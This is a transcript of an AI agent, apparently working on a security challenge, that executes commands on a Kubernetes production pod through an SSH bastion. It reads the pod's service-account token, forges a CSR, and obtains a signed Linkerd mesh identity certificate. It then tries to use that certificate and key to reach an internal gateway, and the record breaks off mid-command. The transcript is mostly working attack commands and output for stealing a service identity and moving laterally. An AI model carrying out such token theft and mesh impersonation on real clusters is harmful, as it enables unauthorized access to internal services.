Error invoking method "io.linkerd.proxy.identity.Identity/Certify": error getting request data: invalid character '\\' looking for beginning of object key string
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Use heredoc for proper JSON construction and retry
{
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
  echo "TOKEN=\$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
  echo "CSR=\$(base64 -w0 /tmp/mycsr.der)"
  echo "# Use heredoc to avoid escaping hell"
  echo "cat > /tmp/req.json << JSONEOF"
  echo "{\"identity\":\"default.production.serviceaccount.identity.linkerd.cluster.local\",\"certificate_signing_request\":\"\$CSR\",\"token\":\"\$TOKEN\"}"
  echo "JSONEOF"
  echo "# Verify JSON is valid"
  echo "head -c 120 /tmp/req.json"
  echo "echo"
  echo "echo json_size=\$(wc -c < /tmp/req.json)"
  echo "/tmp/grpcurl -plaintext -import-path /tmp -proto identity.proto -d @ linkerd-identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify < /tmp/req.json 2>&1 | head -30"
  echo "'"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -25
echo json_size=$(wc -c < /tmp/req.json)
/tmp/grpcurl -plaintext -import-path /tmp -proto identity.proto -d @ linkerd-identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify < /tmp/req.json 2>&1 | head -30
'
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- sh -c '
[?2004l
[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l
[?2004h> CSR=$(base64 -w0 /tmp/mycsr.der)
[?2004l
[?2004h> # Use heredoc to avoid escaping hell
[?2004l
[?2004h> cat > /tmp/req.json << JSONEOF
[?2004l
[?2004h> {"identity":"default.production.serviceaccount.identity.linkerd.cluster.local",
,"certificate_signing_request":"$CSR","token":"$TOKEN"}
[?2004l
[?2004h> JSONEOF
[?2004l
[?2004h> # Verify JSON is valid
[?2004l
[?2004h> head -c 120 /tmp/req.json
[?2004l
[?2004h> echo
[?2004l
[?2004h> echo json_size=$(wc -c < /tmp/req.json)
[?2004l
[?2004h> /tmp/grpcurl -plaintext -import-path /tmp -proto identity.proto -d @ linkerd-id
dentity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify
y < /tmp/req.json 2>&1 | head -30
[?2004l
[?2004h> '
[?2004l
{"identity":"default.production.serviceaccount.identity.linkerd.cluster.local","certificate_signing_request":"MIIBBjCBrQ
json_size=1660
ERROR:
  Code: InvalidArgument
  Message: asn1: structure error: tags don't match (16 vs {class:1 tag:5 length:121 isCompound:true}) {optional:false explicit:false application:false private:false defaultValue:<nil> tag:<nil> stringType:0 timeType:0 set:false omitEmpty:false} certificateRequest @2
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Try with swapped proto field numbers for token and CSR
{
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
  echo "# Try with swapped field numbers"
  echo "cat > /tmp/identity2.proto << PROTOEOF"
  echo 'syntax = "proto3";'
  echo 'package io.linkerd.proxy.identity;'
  echo 'service Identity { rpc Certify (CertifyRequest) returns (CertifyResponse); }'
  echo 'message CertifyRequest { string identity = 1; string token = 2; bytes certificate_signing_request = 3; }'
  echo 'message CertifyResponse { bytes leaf_certificate = 1; repeated bytes intermediate_certificates = 2; }'
  echo "PROTOEOF"
  echo "TOKEN=\$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
  echo "CSR=\$(base64 -w0 /tmp/mycsr.der)"
  echo "cat > /tmp/req2.json << JSONEOF"
  echo "{\"identity\":\"default.production.serviceaccount.identity.linkerd.cluster.local\",\"certificate_signing_request\":\"\$CSR\",\"token\":\"\$TOKEN\"}"
  echo "JSONEOF"
  echo "/tmp/grpcurl -plaintext -import-path /tmp -proto identity2.proto -d @ linkerd-identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify < /tmp/req2.json 2>&1 | head -20"
  echo "'"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -20
[?2004l
[?2004h> cat > /tmp/identity2.proto << PROTOEOF
[?2004l
[?2004h> syntax = "proto3";
[?2004l
[?2004h> package io.linkerd.proxy.identity;
[?2004l
[?2004h> service Identity { rpc Certify (CertifyRequest) returns (CertifyResponse); }
[?2004l
[?2004h> message CertifyRequest { string identity = 1; string token = 2; bytes certifica
ate_signing_request = 3; }
[?2004l
[?2004h> message CertifyResponse { bytes leaf_certificate = 1; repeated bytes intermedia
ate_certificates = 2; }
[?2004l
[?2004h> PROTOEOF
[?2004l
[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l
[?2004h> CSR=$(base64 -w0 /tmp/mycsr.der)
[?2004l
[?2004h> cat > /tmp/req2.json << JSONEOF
[?2004l
[?2004h> {"identity":"default.production.serviceaccount.identity.linkerd.cluster.local",
,"certificate_signing_request":"$CSR","token":"$TOKEN"}
[?2004l
[?2004h> JSONEOF
[?2004l
[?2004h> /tmp/grpcurl -plaintext -import-path /tmp -proto identity2.proto -d @ linkerd-i
identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certif
fy < /tmp/req2.json 2>&1 | head -20
[?2004l
[?2004h> '
[?2004l
ERROR:
  Code: FailedPrecondition
  Message: CSR must have exactly one DNSName
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.

Progress! The field numbers were swapped. Now the error is "CSR must have exactly one DNSName" — meaning the server received and parsed the CSR correctly, but it needs a SAN (Subject Alternative Name) with a DNS name. Let me fix the CSR.

$ Bash
Generate CSR with SAN DNS name and retry identity certify
{
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
  echo "# Generate CSR with SAN DNS name"
  echo "openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>/dev/null"
  echo "cat > /tmp/csr.cnf << CNFEOF"
  echo "[req]"
  echo "default_bits = 256"
  echo "prompt = no"
  echo "distinguished_name = dn"
  echo "req_extensions = v3_req"
  echo "[dn]"
  echo "CN = default.production.serviceaccount.identity.linkerd.cluster.local"
  echo "[v3_req]"
  echo "subjectAltName = DNS:default.production.serviceaccount.identity.linkerd.cluster.local"
  echo "CNFEOF"
  echo "openssl req -new -key /tmp/mykey.pem -config /tmp/csr.cnf -outform DER -out /tmp/mycsr.der 2>/dev/null"
  echo "TOKEN=\$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
  echo "CSR=\$(base64 -w0 /tmp/mycsr.der)"
  echo "cat > /tmp/req3.json << JSONEOF"
  echo "{\"identity\":\"default.production.serviceaccount.identity.linkerd.cluster.local\",\"certificate_signing_request\":\"\$CSR\",\"token\":\"\$TOKEN\"}"
  echo "JSONEOF"
  echo "/tmp/grpcurl -plaintext -import-path /tmp -proto identity2.proto -d @ linkerd-identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify < /tmp/req3.json 2>&1 | head -30"
  echo "'"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -30
[?2004l
[?2004h> # Generate CSR with SAN DNS name
[?2004l
[?2004h> openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>/dev/null
l
[?2004l
[?2004h> cat > /tmp/csr.cnf << CNFEOF
[?2004l
[?2004h> [req]
[?2004l
[?2004h> default_bits = 256
[?2004l
[?2004h> prompt = no
[?2004l
[?2004h> distinguished_name = dn
[?2004l
[?2004h> req_extensions = v3_req
[?2004l
[?2004h> [dn]
[?2004l
[?2004h> CN = default.production.serviceaccount.identity.linkerd.cluster.local
[?2004l
[?2004h> [v3_req]
[?2004l
[?2004h> subjectAltName = DNS:default.production.serviceaccount.identity.linkerd.cluster
r.local
[?2004l
[?2004h> CNFEOF
[?2004l
[?2004h> openssl req -new -key /tmp/mykey.pem -config /tmp/csr.cnf -outform DER -out /tm
mp/mycsr.der 2>/dev/null
[?2004l
[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l
[?2004h> CSR=$(base64 -w0 /tmp/mycsr.der)
[?2004l
[?2004h> cat > /tmp/req3.json << JSONEOF
[?2004l
[?2004h> {"identity":"default.production.serviceaccount.identity.linkerd.cluster.local",
,"certificate_signing_request":"$CSR","token":"$TOKEN"}
[?2004l
[?2004h> JSONEOF
[?2004l
[?2004h> /tmp/grpcurl -plaintext -import-path /tmp -proto identity2.proto -d @ linkerd-i
identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certif
fy < /tmp/req3.json 2>&1 | head -30
[?2004l
[?2004h> '
[?2004l
{
  "leafCertificate": "MIICBDCCAaqgAwIBAgIBCTAKBggqhkjOPQQDAjApMScwJQYDVQQDEx5pZGVudGl0eS5saW5rZXJkLmNsdXN0ZXIubG9jYWwwHhcNMjYwMzI1MTEzNDI3WhcNMjYwMzI2MTEzNTA3WjBLMUkwRwYDVQQDE0BkZWZhdWx0LnByb2R1Y3Rpb24uc2VydmljZWFjY291bnQuaWRlbnRpdHkubGlua2VyZC5jbHVzdGVyLmxvY2FsMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEiQ7hDsAnhrhyu2RrKtH4Q3bAaNVmJLetY3OfxNRL8YM2tExkIzE1FRpoaYtxTAhKLr3LQfN7CiyUQEbST+8viKOBoDCBnTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMB8GA1UdIwQYMBaAFEhP2Q7Sl1xUJz7fPIrAegm06EEDMEsGA1UdEQREMEKCQGRlZmF1bHQucHJvZHVjdGlvbi5zZXJ2aWNlYWNjb3VudC5pZGVudGl0eS5saW5rZXJkLmNsdXN0ZXIubG9jYWwwCgYIKoZIzj0EAwIDSAAwRQIgL3IJSJW21K+MG+XqXlImCuBKKZBwIrVHlFYXEWQDgrICIQDDfJ3zUbog5Jt+kZnr0uFe98KjmUdhpL9WkBjPUBjGTw==",
  "intermediateCertificates": [
    "MIIBtDCCAVmgAwIBAgIRANX8vKSI1FUJKp1zLKt9wXYwCgYIKoZIzj0EAwIwJTEjMCEGA1UEAxMacm9vdC5saW5rZXJkLmNsdXN0ZXIubG9jYWwwHhcNMjYwMzI1MTA0ODU4WhcNMjcwMzI1MTA0ODU4WjApMScwJQYDVQQDEx5pZGVudGl0eS5saW5rZXJkLmNsdXN0ZXIubG9jYWwwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAATXUbzK4tpZC0xWgDmxpTkemQDk6a4rAaUYRAX1PB5ww83bVfl9hQ/PWeazVgW2VgvzZBlJh/6iOaoN1Y0sART6o2YwZDAOBgNVHQ8BAf8EBAMCAQYwEgYDVR0TAQH/BAgwBgEB/wIBADAdBgNVHQ4EFgQUSE/ZDtKXXFQnPt88isB6CbToQQMwHwYDVR0jBBgwFoAURuiE4xhrE5Ag8R58Gcmew4F5y6owCgYIKoZIzj0EAwIDSQAwRgIhAKHebarKycyokT4HdmJ8k6gDAQGHQlJGxMloa7zKuA15AiEAvSXG3Ie2V4Yao5ZbLHCobeInuyG1bIRF1/RKYGIECTY="
  ]
}
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.

Got the signed certificate from the Linkerd Identity service! Now I have a leaf certificate AND the intermediate cert, both signed by the real Linkerd CA chain. Let me save these and the matching private key, then use them to access the gateway.

$ Bash
Save signed cert chain and curl gateway with mesh identity
{
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
  echo "# Save the cert chain"
  echo "echo MIICBDCCAaqgAwIBAgIBCTAKBggqhkjOPQQDAjApMScwJQYDVQQDEx5pZGVudGl0eS5saW5rZXJkLmNsdXN0ZXIubG9jYWwwHhcNMjYwMzI1MTEzNDI3WhcNMjYwMzI2MTEzNTA3WjBLMUkwRwYDVQQDE0BkZWZhdWx0LnByb2R1Y3Rpb24uc2VydmljZWFjY291bnQuaWRlbnRpdHkubGlua2VyZC5jbHVzdGVyLmxvY2FsMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEiQ7hDsAnhrhyu2RrKtH4Q3bAaNVmJLetY3OfxNRL8YM2tExkIzE1FRpoaYtxTAhKLr3LQfN7CiyUQEbST+8viKOBoDCBnTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMB8GA1UdIwQYMBaAFEhP2Q7Sl1xUJz7fPIrAegm06EEDMEsGA1UdEQREMEKCQGRlZmF1bHQucHJvZHVjdGlvbi5zZXJ2aWNlYWNjb3VudC5pZGVudGl0eS5saW5rZXJkLmNsdXN0ZXIubG9jYWwwCgYIKoZIzj0EAwIDSAAwRQIgL3IJSJW21K+MG+XqXlImCuBKKZBwIrVHlFYXEWQDgrICIQDDfJ3zUbog5Jt+kZnr0uFe98KjmUdhpL9WkBjPUBjGTw== | base64 -d > /tmp/leaf.der"
  echo "echo MIIBtDCCAVmgAwIBAgIRANX8vKSI1FUJKp1zLKt9wXYwCgYIKoZIzj0EAwIwJTEjMCEGA1UEAxMacm9vdC5saW5rZXJkLmNsdXN0ZXIubG9jYWwwHhcNMjYwMzI1MTA0ODU4WhcNMjcwMzI1MTA0ODU4WjApMScwJQYDVQQDEx5pZGVudGl0eS5saW5rZXJkLmNsdXN0ZXIubG9jYWwwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAATXUbzK4tpZC0xWgDmxpTkemQDk6a4rAaUYRAX1PB5ww83bVfl9hQ/PWeazVgW2VgvzZBlJh/6iOaoN1Y0sART6o2YwZDAOBgNVHQ8BAf8EBAMCAQYwEgYDVR0TAQH/BAgwBgEB/wIBADAdBgNVHQ4EFgQUSE/ZDtKXXFQnPt88isB6CbToQQMwHwYDVR0jBBgwFoAURuiE4xhrE5Ag8R58Gcmew4F5y6owCgYIKoZIzj0EAwIDSQAwRgIhAKHebarKycyokT4HdmJ8k6gDAQGHQlJGxMloa7zKuA15AiEAvSXG3Ie2V4Yao5ZbLHCobeInuyG1bIRF1/RKYGIECTY= | base64 -d > /tmp/inter.der"
  echo "# Convert to PEM"
  echo "openssl x509 -in /tmp/leaf.der -inform DER -out /tmp/mesh.crt 2>/dev/null"
  echo "openssl x509 -in /tmp/inter.der -inform DER >> /tmp/mesh.crt 2>/dev/null"
  echo "# Verify the chain"
  echo "openssl x509 -in /tmp/mesh.crt -noout -subject -issuer 2>&1"
  echo "# Now curl the gateway with mesh cert + our key"
  echo "GWIP=10.111.253.191"
  echo "curl -sk --http1.1 --cert /tmp/mesh.crt --key /tmp/mykey.pem https://\$GWIP/ 2>&1"
  echo "'"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -25
# Now curl the gateway with mesh cert + our key
GWIP=10.111.253.191
curl -sk --http1.1 --cert /tmp/mesh.crt --key /tmp/mykey.pem https://$GWIP/ 2>&1
'
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- sh -c '
[?2004l
[?2004h> # Save the cert chain
[?2004l
[?2004h> echo MIICBDCCAaqgAwIBAgIBCTAKBggqhkjOPQQDAjApMScwJQYDVQQDEx5pZGVudGl0eS5saW5rZX
XJkLmNsdXN0ZXIubG9jYWwwHhcNMjYwMzI1MTEzNDI3WhcNMjYwMzI2MTEzNTA3WjBLMUkwRwYDVQQDE0
0BkZWZhdWx0LnByb2R1Y3Rpb24uc2VydmljZWFjY291bnQuaWRlbnRpdHkubGlua2VyZC5jbHVzdGVyLm
mxvY2FsMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEiQ7hDsAnhrhyu2RrKtH4Q3bAaNVmJLetY3OfxN
NRL8YM2tExkIzE1FRpoaYtxTAhKLr3LQfN7CiyUQEbST+8viKOBoDCBnTAOBgNVHQ8BAf8EBAMCBaAwHQ
QYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMB8GA1UdIwQYMBaAFEhP2Q7Sl1xUJz7fPIrAegm06E
EEDMEsGA1UdEQREMEKCQGRlZmF1bHQucHJvZHVjdGlvbi5zZXJ2aWNlYWNjb3VudC5pZGVudGl0eS5saW
W5rZXJkLmNsdXN0ZXIubG9jYWwwCgYIKoZIzj0EAwIDSAAwRQIgL3IJSJW21K+MG+XqXlImCuBKKZBwIr
rVHlFYXEWQDgrICIQDDfJ3zUbog5Jt+kZnr0uFe98KjmUdhpL9WkBjPUBjGTw== | base64 -d > /tm
mp/leaf.der
[?2004l
[?2004h> echo MIIBtDCCAVmgAwIBAgIRANX8vKSI1FUJKp1zLKt9wXYwCgYIKoZIzj0EAwIwJTEjMCEGA1UEAx
xMacm9vdC5saW5rZXJkLmNsdXN0ZXIubG9jYWwwHhcNMjYwMzI1MTA0ODU4WhcNMjcwMzI1MTA0ODU4Wj
jApMScwJQYDVQQDEx5pZGVudGl0eS5saW5rZXJkLmNsdXN0ZXIubG9jYWwwWTATBgcqhkjOPQIBBggqhk
kjOPQMBBwNCAATXUbzK4tpZC0xWgDmxpTkemQDk6a4rAaUYRAX1PB5ww83bVfl9hQ/PWeazVgW2VgvzZB
BlJh/6iOaoN1Y0sART6o2YwZDAOBgNVHQ8BAf8EBAMCAQYwEgYDVR0TAQH/BAgwBgEB/wIBADAdBgNVHQ
Q4EFgQUSE/ZDtKXXFQnPt88isB6CbToQQMwHwYDVR0jBBgwFoAURuiE4xhrE5Ag8R58Gcmew4F5y6owCg
gYIKoZIzj0EAwIDSQAwRgIhAKHebarKycyokT4HdmJ8k6gDAQGHQlJGxMloa7zKuA15AiEAvSXG3Ie2V4
4Yao5ZbLHCobeInuyG1bIRF1/RKYGIECTY= | base64 -d > /tmp/inter.der
[?2004l
[?2004h> # Convert to PEM
[?2004l
[?2004h> openssl x509 -in /tmp/leaf.der -inform DER -out /tmp/mesh.crt 2>/dev/null
[?2004l
[?2004h> openssl x509 -in /tmp/inter.der -inform DER >> /tmp/mesh.crt 2>/dev/null
[?2004l
[?2004h> # Verify the chain
[?2004l
[?2004h> openssl x509 -in /tmp/mesh.crt -noout -subject -issuer 2>&1
[?2004l
[?2004h> # Now curl the gateway with mesh cert + our key
[?2004l
[?2004h> GWIP=10.111.253.191
[?2004l
[?2004h> curl -sk --http1.1 --cert /tmp/mesh.crt --key /tmp/mykey.pem https://$GWIP/ 2>&
&1
[?2004l
[?2004h> '
[?2004l
subject=CN=default.production.serviceaccount.identity.linkerd.cluster.local
issuer=CN=identity.linkerd.cluster.local
command terminated with exit code 56
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
command terminated with exit code 56
Connection to 35.179.133.134 closed.
Thinking

The base64 strings are still getting corrupted by the TTY. Let me do everything inside the debug-tools container in one go — generate, certify, save, and curl.

$ Bash
All-in-one: generate key, get cert from identity service, curl gateway
{
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
  echo "# All-in-one: generate key, get cert from identity service, curl gateway"
  echo "openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>/dev/null"
  echo "cat > /tmp/csr.cnf << CNFEOF"
  echo "[req]"
  echo "prompt = no"
  echo "distinguished_name = dn"
  echo "req_extensions = v3_req"
  echo "[dn]"
  echo "CN = default.production.serviceaccount.identity.linkerd.cluster.local"
  echo "[v3_req]"
  echo "subjectAltName = DNS:default.production.serviceaccount.identity.linkerd.cluster.local"
  echo "CNFEOF"
  echo "openssl req -new -key /tmp/mykey.pem -config /tmp/csr.cnf -outform DER -out /tmp/mycsr.der 2>/dev/null"
  echo "TOKEN=\$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
  echo "CSR=\$(base64 -w0 /tmp/mycsr.der)"
  echo "cat > /tmp/req.json << JSONEOF"
  echo "{\"identity\":\"default.production.serviceaccount.identity.linkerd.cluster.local\",\"certificate_signing_request\":\"\$CSR\",\"token\":\"\$TOKEN\"}"
  echo "JSONEOF"
  echo "# Call identity service and save cert directly inside container"
  echo "/tmp/grpcurl -plaintext -import-path /tmp -proto identity2.proto -d @ linkerd-identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify < /tmp/req.json > /tmp/certresp.json 2>&1"
  echo "# Extract leaf cert and intermediate, decode from base64 JSON to PEM"
  echo "LEAF=\$(cat /tmp/certresp.json | grep leafCertificate | sed s/.*leafCertificate.*:.*\\\"// | sed s/\\\".*//)"
  echo "INTER=\$(cat /tmp/certresp.json | grep -A1 intermediateCertificates | tail -1 | sed s/.*\\\"// | sed s/\\\".*//)"
  echo "echo -----BEGIN CERTIFICATE----- > /tmp/mesh.crt"
  echo "echo \$LEAF | fold -w 64 >> /tmp/mesh.crt"
  echo "echo -----END CERTIFICATE----- >> /tmp/mesh.crt"
  echo "echo -----BEGIN CERTIFICATE----- >> /tmp/mesh.crt"
  echo "echo \$INTER | fold -w 64 >> /tmp/mesh.crt"
  echo "echo -----END CERTIFICATE----- >> /tmp/mesh.crt"
  echo "# Verify"
  echo "openssl x509 -in /tmp/mesh.crt -noout -subject -issuer 2>&1"
  echo "openssl verify -partial_chain /tmp/mesh.crt 2>&1"
  echo "# Now curl gateway"
  echo "curl -sk --http1.1 --cert /tmp/mesh.crt --key /tmp/mykey.pem https://10.111.253.191/ 2>&1"
  echo "echo EXIT=\$?"
  echo "'"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -20
[?2004l
[?2004h> echo $LEAF | fold -w 64 >> /tmp/mesh.crt
[?2004l
[?2004h> echo -----END CERTIFICATE----- >> /tmp/mesh.crt
[?2004l
[?2004h> echo -----BEGIN CERTIFICATE----- >> /tmp/mesh.crt
[?2004l
[?2004h> echo $INTER | fold -w 64 >> /tmp/mesh.crt
[?2004l
[?2004h> echo -----END CERTIFICATE----- >> /tmp/mesh.crt
[?2004l
[?2004h> # Verify
[?2004l
[?2004h> openssl x509 -in /tmp/mesh.crt -noout -subject -issuer 2>&1
[?2004l
[?2004h> openssl verify -partial_chain /tmp/mesh.crt 2>&1
[?2004l
[?2004h> # Now curl gateway
[?2004l
[?2004h> curl -sk --http1.1 --cert /tmp/mesh.crt --key /tmp/mykey.pem https://10.111.253
3.191/ 2>&1
[?2004l
[?2004h> echo EXIT=$?
[?2004l
[?2004h> '
[?2004l
Could not find certificate from /tmp/mesh.crt
40F71F127D7C0000:error:1608010C:STORE routines:ossl_store_handle_load_result:unsupported:../crypto/store/store_result.c:160:provider=default
Could not find certificate file from /tmp/mesh.crt
401796B8F7720000:error:1608010C:STORE routines:ossl_store_handle_load_result:unsupported:../crypto/store/store_result.c:160:provider=default
EXIT=58
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Properly extract cert from gRPC response and curl gateway
{
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
  echo "# Re-run the certify call (reuses existing key and CSR)"
  echo "TOKEN=\$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
  echo "CSR=\$(base64 -w0 /tmp/mycsr.der)"
  echo "cat > /tmp/req.json << JSONEOF"
  echo "{\"identity\":\"default.production.serviceaccount.identity.linkerd.cluster.local\",\"certificate_signing_request\":\"\$CSR\",\"token\":\"\$TOKEN\"}"
  echo "JSONEOF"
  echo "/tmp/grpcurl -plaintext -import-path /tmp -proto identity2.proto -d @ linkerd-identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify < /tmp/req.json > /tmp/resp.json 2>/dev/null"
  echo "# Use awk to extract the base64 values from JSON"
  echo "LEAF=\$(awk -F\\\" \"/leafCertificate/{print \\\$4}\" /tmp/resp.json)"
  echo "INTER=\$(awk -F\\\" \"/MII/{print \\\$2}\" /tmp/resp.json | tail -1)"
  echo "# Write PEM cert file directly from base64"
  echo "echo -----BEGIN CERTIFICATE----- > /tmp/mesh.crt"
  echo "echo \$LEAF | base64 -d | openssl x509 -inform DER -outform PEM >> /tmp/mesh.crt 2>/dev/null || echo \$LEAF | fold -w 64 >> /tmp/mesh.crt"
  echo "echo -----END CERTIFICATE----- >> /tmp/mesh.crt"
  echo "# Actually, just decode the DER and re-encode as PEM properly"
  echo "echo \$LEAF | base64 -d > /tmp/leaf.der"
  echo "echo \$INTER | base64 -d > /tmp/inter.der"
  echo "openssl x509 -in /tmp/leaf.der -inform DER -out /tmp/mesh.crt 2>&1"
  echo "openssl x509 -in /tmp/inter.der -inform DER >> /tmp/mesh.crt 2>&1"
  echo "cat /tmp/mesh.crt"
  echo "echo === CURL ==="
  echo "curl -sk --http1.1 --cert /tmp/mesh.crt --key /tmp/mykey.pem https://10.111.253.191/ 2>&1"
  echo "'"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -40
[?2004l
[?2004h> # Actually, just decode the DER and re-encode as PEM properly
[?2004l
[?2004h> echo $LEAF | base64 -d > /tmp/leaf.der
[?2004l
[?2004h> echo $INTER | base64 -d > /tmp/inter.der
[?2004l
[?2004h> openssl x509 -in /tmp/leaf.der -inform DER -out /tmp/mesh.crt 2>&1
[?2004l
[?2004h> openssl x509 -in /tmp/inter.der -inform DER >> /tmp/mesh.crt 2>&1
[?2004l
[?2004h> cat /tmp/mesh.crt
[?2004l
[?2004h> echo === CURL ===
[?2004l
[?2004h> curl -sk --http1.1 --cert /tmp/mesh.crt --key /tmp/mykey.pem https://10.111.253
3.191/ 2>&1
[?2004l
[?2004h> '
[?2004l
-----BEGIN CERTIFICATE-----
MIICAzCCAaqgAwIBAgIBCzAKBggqhkjOPQQDAjApMScwJQYDVQQDEx5pZGVudGl0
eS5saW5rZXJkLmNsdXN0ZXIubG9jYWwwHhcNMjYwMzI1MTEzNTI5WhcNMjYwMzI2
MTEzNjA5WjBLMUkwRwYDVQQDE0BkZWZhdWx0LnByb2R1Y3Rpb24uc2VydmljZWFj
Y291bnQuaWRlbnRpdHkubGlua2VyZC5jbHVzdGVyLmxvY2FsMFkwEwYHKoZIzj0C
AQYIKoZIzj0DAQcDQgAEq1Vs5ZF8iQB/moqjM4nAC4vIceamU6jy4kWS6KOlI9RV
XEe4AWjxXjkfAlNQv/8gLNUJ8nR3H+9AWwaf0Z94j6OBoDCBnTAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMB8GA1UdIwQYMBaA
FEhP2Q7Sl1xUJz7fPIrAegm06EEDMEsGA1UdEQREMEKCQGRlZmF1bHQucHJvZHVj
dGlvbi5zZXJ2aWNlYWNjb3VudC5pZGVudGl0eS5saW5rZXJkLmNsdXN0ZXIubG9j
YWwwCgYIKoZIzj0EAwIDRwAwRAIgXkgETLgKBxEbn/ZqS/wKaz+YwsL5HFWbaJ3U
A4X6mMQCIA7tZyfrQJcV7XGxbUJcGNs7f8lFb9DMg/Hk+yYDlduY
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIBtDCCAVmgAwIBAgIRANX8vKSI1FUJKp1zLKt9wXYwCgYIKoZIzj0EAwIwJTEj
MCEGA1UEAxMacm9vdC5saW5rZXJkLmNsdXN0ZXIubG9jYWwwHhcNMjYwMzI1MTA0
ODU4WhcNMjcwMzI1MTA0ODU4WjApMScwJQYDVQQDEx5pZGVudGl0eS5saW5rZXJk
LmNsdXN0ZXIubG9jYWwwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAATXUbzK4tpZ
C0xWgDmxpTkemQDk6a4rAaUYRAX1PB5ww83bVfl9hQ/PWeazVgW2VgvzZBlJh/6i
OaoN1Y0sART6o2YwZDAOBgNVHQ8BAf8EBAMCAQYwEgYDVR0TAQH/BAgwBgEB/wIB
ADAdBgNVHQ4EFgQUSE/ZDtKXXFQnPt88isB6CbToQQMwHwYDVR0jBBgwFoAURuiE
4xhrE5Ag8R58Gcmew4F5y6owCgYIKoZIzj0EAwIDSQAwRgIhAKHebarKycyokT4H
dmJ8k6gDAQGHQlJGxMloa7zKuA15AiEAvSXG3Ie2V4Yao5ZbLHCobeInuyG1bIRF
1/RKYGIECTY=
-----END CERTIFICATE-----
=== CURL ===
command terminated with exit code 56
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
command terminated with exit code 56
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Check TLS error with mesh identity cert
{
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
